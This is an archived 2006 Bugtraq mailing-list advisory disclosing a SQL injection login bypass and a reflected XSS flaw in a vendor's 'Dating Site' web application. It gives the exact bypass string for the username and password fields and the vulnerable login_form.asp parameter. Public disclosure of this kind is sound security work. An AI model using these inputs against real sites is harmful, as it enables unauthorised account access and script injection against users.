[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Dating Site [ login bypass & xss]
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Dating Site [ login bypass & xss]
- From: saps.audit@xxxxxxxxx
- Date: 17 Nov 2006 20:37:24 -0000
vendor site:http://www.hotwebapp.com/
product:Dating Site
bug:injection sql & xss
risk:high
log in with :
username = ' or '1' = '1
passwd = ' or '1' = '1
xss get :
/login_form.asp?msg=[xss here]
laurent gaffié & benjamin mossé
http://s-a-p.ca/
contact: saps.audit@xxxxxxxxx